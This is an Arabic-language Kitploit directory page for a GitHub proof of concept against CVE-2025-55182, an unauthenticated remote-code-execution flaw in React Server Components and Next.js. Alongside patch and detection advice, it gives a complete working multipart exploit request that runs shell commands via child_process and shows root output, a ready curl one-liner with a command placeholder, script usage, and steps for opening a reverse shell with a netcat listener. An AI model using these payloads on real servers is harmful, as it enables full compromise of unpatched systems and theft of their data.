Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 — إثبات مفهوم لاستغلال CVE-2025-55182: تنفيذ أوامر عن بُعد غير مصادق عليه في مكونات خادم React عبر إلغاء تسلسل غير آمن، مما يتيح تنفيذ أوامر عشوائية وقذائف عكسية على نقاط نهاية RSC/Next.js الضعيفة. | Kitploit
أدوات/GitHubGitHub/0xblackash/cve-2025-55182
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

إثبات مفهوم لاستغلال CVE-2025-55182: تنفيذ أوامر عن بُعد غير مصادق عليه في مكونات خادم React عبر إلغاء تسلسل غير آمن، مما يتيح تنفيذ أوامر عشوائية وقذائف عكسية على نقاط نهاية RSC/Next.js الضعيفة.

عرض المستودع
17منذ 13 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🚨 CVE-2025-55182 — React2Shell

ChatGPT Image Oct 8, 2026, 11_08_00 PM

Severity CVSS Type Status

CVE-2025-55182 هو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة تؤثر على مكونات خادم React (RSC).


📌 نظرة عامة

تسمح هذه الثغرة للمهاجمين غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية على الخوادم المصابة.

تنشأ المشكلة من إلغاء التسلسل غير الآمن في نقاط نهاية دالة خادم مكونات خادم React. يسمح التحقق غير السليم لطلبات مصممة خصيصًا بتنفيذ حمولات خبيثة.


🧨 التأثير

  • 🌍 قابل للاستغلال عبر الشبكة
  • 🔓 لا يتطلب مصادقة
  • ⚡ تعقيد هجوم منخفض
  • 💥 احتمال اختراق كامل للخادم
  • 📈 درجة CVSS: 10.0 (أقصى خطورة)

نظرًا لأن الأطر المبنية على React منتشرة على نطاق واسع، فإن سطح الهجوم ضخم للغاية.


📦 الحزم المتأثرة

تشمل الإصدارات المصابة:

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

قد تتأثر أيضًا الأطر المبنية فوق هذه الحزم (مثل تطبيقات Next.js التي تستخدم إصدارات مصابة).


🔎 السبب الجذري التقني

ينتج الخلل عن:

  • التعامل غير الآمن مع المدخلات المتسلسلة
  • إلغاء التسلسل من جانب الخادم يحدث قبل التحقق الصارم
  • نقص الحماية الكافية لنقاط النهاية

يتيح ذلك للمهاجمين صياغة حمولات خبيثة تُنفَّذ على الخادم.


🛠 المعالجة

✅ الإجراءات الفورية

  • الترقية إلى إصدارات React المُرقَّعة (19.2.1 أو أحدث)
  • إعادة بناء التطبيقات وإعادة نشرها
  • تدقيق نقاط نهاية RSC المكشوفة
  • مراقبة السجلات بحثًا عن طلبات POST المشبوهة

🧪 نصائح الكشف

ابحث عن:

  • طلبات POST غير متوقعة إلى نقاط نهاية RSC
  • حمولات متسلسلة مشبوهة
  • تنفيذ أوامر غير معتاد من جانب الخادم

📚 الملخص

الفئةالقيمة
الثغرةتنفيذ تعليمات برمجية عن بُعد
المصادقة مطلوبة❌ لا
ناقل الهجوم🌐 الشبكة
الخطورة🔴 حرجة
مستغلة في البرية⚠️ نعم

كيفية الاستغلال

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

سيُرجع:

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4 react2shell react2shell 1

الاستخدام

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • المخرجات: ubuntu (أو ما شابه).
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

للحصول على reverse shell:

  • المستمع: nc -lvnp 4444
  • شغّل: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • يجب أن يتصل عائدًا؛ ستُظهر الاستجابة 'shell_started' في digest.

⚠️ ملاحظة أخيرة

إذا كان تطبيقك يستخدم مكونات خادم React، قم بالترقيع فورًا. تزيد التأخيرات من خطر التعرض بشكل كبير.


تنزيل الأداة